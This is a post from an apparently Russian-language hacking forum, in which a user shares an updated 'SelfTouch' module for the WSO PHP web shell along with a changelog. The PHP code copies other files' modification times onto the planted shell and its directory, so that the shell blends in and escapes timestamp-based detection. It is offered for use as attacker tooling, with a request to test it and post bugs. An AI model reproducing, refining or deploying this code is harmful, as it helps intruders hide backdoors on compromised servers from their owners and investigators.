Показать сообщение отдельно
Старый 08.11.2014, 07:50   #203
omen666
 
Регистрация: 06.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Цитата:
Сообщение от devv Посмотреть сообщение
omen666 touch не работает в твоих примерах, в параметре p1 ничего не передаётся
Смотрите на рисунки, все работает, проверено на реальном сервере.

[скачать]

Сделано:
1. FilesMan юзает filemtime, а я в SelfTouch юзал fileсtime. Исправлено на filemtime, так как даты не совпадали.
2. Cортировка файлов по дате.
3. Сортировка файлов по названию.
4. Исправлена ошибка, когда текущий рабочий каталог другой.
5. Добавлено my_print_r для отладки.
6. Функцию wsoCmp, чтоб она срабатывала до вызова функции где она определена, вынесено в глобальную область видимости.
7. Добавлена возможность тачить только каталог шелла.
8. Filename(Optional) upload.
9. Вывод времени модификации шелла и эго каталога с полными путями.
10. Really want to touch the shell? убрано как в предыдущем посте.
11. Вывод даты в формате Y-m-d H:i:s.
12. Добавил clearstatcache.
13. Сообщения о таче выводяться в самом вверху.
14. Мелкий рефакторинг.
15. По умолчанию сортировка по дате возростания.

ln 1037
PHP код:
...
function 
actionSelfTouch() {
    global 
$sort
    
wsoHeader();    
    echo 
'<h1>Touch like</h1><div class=content>';
    if(
$_POST['p1']) {
        if (
$_POST['p2'] != 'onlyshelld') {
            if(@
touch(__FILE__$_POST['p1'], $_POST['p1'])) {
                echo 
'<p>Shell has been touched</p>';
                if(
$_POST['p2'] == 'shelld') {
                    if (@
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']))
                        echo(
'<p>Shell\'s directory has been touched</p>');
                    else 
                        echo 
'<p>Touch shell\'s directory error!</p>';
                }     
            } else {
                echo 
'<p>Touch shell error!</p>';
            } 
        } elseif (
$_POST['p2'] == 'onlyshelld') {
            if (@
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']))
                echo(
'<p>Shell\'s directory has been touched</p>');
            else 
                echo 
'<p>Touch shell\'s directory error!</p>';
        }
    }
    
clearstatcache();
    
$all_f wsoScandir($GLOBALS['cwd']);
    
$k_main array_search(basename(__FILE__), $all_f);
    
$k_main_d array_search('.'$all_f);
    unset(
$all_f[$k_main]);
    unset(
$all_f[$k_main_d]);
    unset(
$all_f[array_search('nbproject'$all_f)]);
    echo 
"<pre><b>Current timestamp</b></pre>";
    echo 
'<pre><b>Shell <span>' __FILE__ '</span></b>' ' - ' date("Y-m-d H:i:s"filemtime(__FILE__)) . "</pre>";
    echo 
'<pre><b>Shell\'s directory <span>' dirname(__FILE__) . '</span></b>' ' - ' date("Y-m-d H:i:s"filemtime(dirname(__FILE__))) . "</pre>";
    echo 
'<form name=f_touch method=post>';
    echo 
'<pre><label><input type=radio name=tparent value=shelld><span style="margin-left: 3px;">Also touch shell\'s directory</span></label></pre>';
    echo 
'<pre><label><input type=radio name=tparent value=onlyshelld><span style="margin-left: 3px;">Touch only shell\'s directory</span></label></pre>';
    echo 
"<pre><input type=button value='Touch!' onclick=\"g('SelfTouch',null, f_touch.timestamp.value, f_touch.tparent.value);\"></pre>";    
    
$sort = array('date'1);
    if(!empty(
$_POST['p3'])) {
        if(
preg_match('!s_([A-z]+)_(\d{1})!'$_POST['p3'], $match))
        
$sort = array($match[1], (int)$match[2]);
    }
    
$b_sort = ($sort[1] ? 1);
    echo 
"<pre><a href='#' onclick=\"g('SelfTouch',null,null,null,'s_name_$b_sort')\">sort files by name</a></pre>";
    echo 
"<pre><a href='#' onclick=\"g('SelfTouch',null,null,null,'s_date_$b_sort')\">sort files by date</a></pre>";    
    if (
$sort[0] == 'name') {
        
usort($all_f"wsoCmp");
        foreach (
$all_f as $some_f) {
            
$some_f_t filemtime($some_f);
            echo 
"<pre><label><input type=radio name=timestamp value=$some_f_t> " '<b>' $some_f '</b>' ' - ' date("Y-m-d H:i:s"$some_f_t) . "</label></pre>";
        }
    }
    if (
$sort[0] == 'date') {
        foreach (
$all_f as $some_f) {
            
$all_f_d[$some_f] = filemtime($some_f);
        }
        
$sort[1] ? asort($all_f_d) : arsort($all_f_d);
        foreach (
$all_f_d as $some_f_k => $some_f_v) {
            echo 
"<pre><label><input type=radio name=timestamp value=$some_f_v> " '<b>' $some_f_k '</b>' ' - ' date("Y-m-d H:i:s"$some_f_v) . "</label></pre>";
        }
    }    
    echo 
'</form>';
    echo 
'</div>';
    
wsoFooter();
}

function 
wsoCmp($a$b) {
    if(
$GLOBALS['sort'][0] != 'size')
        return 
strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
    else
        return ((
$a['size'] < $b['size']) ? -1)*($GLOBALS['sort'][1]?1:-1);
}

function 
my_print_r($data) {
    echo 
"<pre>";
    
print_r($data);
    echo 
"</pre>";
}
... 

Вынесено с ln 673 в глобальную область, так как неззя вызвать эту функцию, если родитель не вызывался, она тогда просто как необъявленная, а нужно было заюзать)
PHP код:
...
function 
wsoCmp($a$b) {
        if(
$GLOBALS['sort'][0] != 'size')
            return 
strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
        else
            return ((
$a['size'] < $b['size']) ? -1)*($GLOBALS['sort'][1]?1:-1);
    }
... 












Обкатываем и постим ошибки )))

Последний раз редактировалось omen666; 08.11.2014 в 09:20..
omen666 вне форума   Ответить с цитированием